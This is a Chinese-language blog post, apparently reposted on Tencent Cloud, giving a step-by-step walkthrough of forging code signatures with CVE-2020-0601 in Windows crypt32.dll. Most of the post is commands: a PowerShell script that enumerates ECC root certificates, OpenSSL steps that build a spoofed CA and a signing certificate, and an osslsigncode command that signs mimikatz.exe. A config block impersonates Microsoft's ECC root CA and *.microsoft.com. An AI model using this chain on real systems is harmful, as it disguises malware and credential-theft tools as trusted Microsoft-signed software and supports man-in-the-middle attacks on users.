前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用CVE-2020-0601进行伪造签名

使用CVE-2020-0601进行伪造签名

作者头像
鸿鹄实验室
发布2021-04-15 10:25:02
8450
发布2021-04-15 10:25:02
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

昨天实验室发了个培训通知,没想到一上午就爆满了,感谢各位的支持!

还有很多想学习的小伙伴,只能先说声抱歉了,目前招生已经停止,请期待下期

文如题目,使用CVE-2020-0601进行伪造签名

漏洞简介

Windows 的crypt32.dll模块中,对于使用了 椭圆曲线密码( Elliptic Curve Cryptography ECC) 的证书的验证的过程出现纰漏,使得攻击者可以通过伪造证书,给一些恶意软件签名,伪装成正常的软件,或者强行安装驱动;亦或者伪造https证书,实现中间人攻击。

具体细节

Elliptic Curve Cryptography

要想了解这个漏洞,首先得了解一下这个ECC。这里选取对ECC的定义。 首先我们需要定义以下什么叫做椭圆曲线。设F表示一个域,则在这个域上的如下形式的表达式 y2+a1xy+a3y=x3+a2x2+a4x+a6 确定的点 (x,y)∈FxF 以及一个特殊的无穷远点O所构成的集合,被称为椭圆曲线,其中的a1,a2,a3,a4,a6∈F。上述式子同时被称为Weierstrass方程 然后我们加密算法中讨论的椭圆曲线在满足F的特征既不等于2又不等于3(就是说 mod 的数字既不是2也不是3)的时候,上述椭圆曲线的方程可以化简为 y2=x3+ax+b 其中x,y∈F

当然还有其他各种各样的图像,不得不说,数学是美丽的。

由于本文章并不是对漏洞进行细节讲述,所以不会过多的去讲述漏洞细节。

签名伪造

首先,我们需要以下依赖,来使用后面的exp:

代码语言:javascript
复制
pip3 install fastecdsa
pip3 install PyCryptodome
pip3 install --user gmpy2==2.1.0a2
apt install libmpc-dev
apt install osslsigncode

然后使用下面的ps脚本获取系统的证书。

代码语言:javascript
复制
dir Cert:\LocalMachine\root -Recurse|?{$_.FriendlyName -like "*ECC*"} |%{New-Object -TypeName psobject -Property @{
SerialNumber='0x'+$_.SerialNumber.tolower()
FriendlyName=$_.FriendlyName
publickey=[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','').tolower()
publickeylen=[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','').length
Subject=$_.Subject

    }
}  |Format-list

然后我们windows+r运行certmgr打开证书管理,选择其中的一个证书进行导出,到处时选择base64即可。

然后我们便得到了一个证书

在linux下使用下面的命令查看证书的详细信息:

代码语言:javascript
复制
openssl x509 -in ca.cer -text -noout

然后运行我们的exp

此时生成“spoofed_ca.key”公钥文件

然后基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA。

代码语言:javascript
复制
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

然后生成一个新密钥。该密钥可以是任何类型,它将用于创建代码签名证书,我们将使用自己的CA对其进行签名

代码语言:javascript
复制
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

接下来创建一个新的证书签名请求(CSR)

代码语言:javascript
复制
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

此时会生成csr文件。

最后使用我们的欺骗性CA和CA密钥签署新的CSR。该证书将在2047年到期,而真正的受信任Microsoft CA将在2043年到期

代码语言:javascript
复制
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

最后将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名

代码语言:javascript
复制
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

然后使用osslsigncode + PKCS12进行文件签名

代码语言:javascript
复制
osslsigncode sign -pkcs12 cert.p12 -n "Signed by lengyi" -in mimikatz.exe -out mimikatz2.exe

得到签名后mimikatz。

除此之外,可以吧cnf的内容,换成下面的:

代码语言:javascript
复制
[ req ]
prompt = no
distinguished_name = req_distinguished_name
x509_extensions = v3_req
[ req_distinguished_name ]
C = US
ST = Washington
L = Redmond
O = Microsoft Corporation
CN = Microsoft ECC Product Root Certificate Authority 2018
[v3_req]
subjectAltName = @alt_names
[alt_names]
DNS.1   = *.microsoft.com

则更具有效果。

参考文章:

https://www.cnblogs.com/dgjnszf/p/12256824.html

https://blog.csdn.net/eastmount/article/details/104335673#t7

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
    • 具体细节
      • Elliptic Curve Cryptography
  • 签名伪造
相关产品与服务
代码签名证书
代码签名证书(Code Signing Certificates)是为软件开发者提供代码软件数字签名的认证服务。通过对代码的数字签名可以减少软件下载时弹出的安全警告、保证代码不被恶意篡改、使厂商信息对下载用户公开可见等效果,从而建立良好的软件品牌信誉度。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档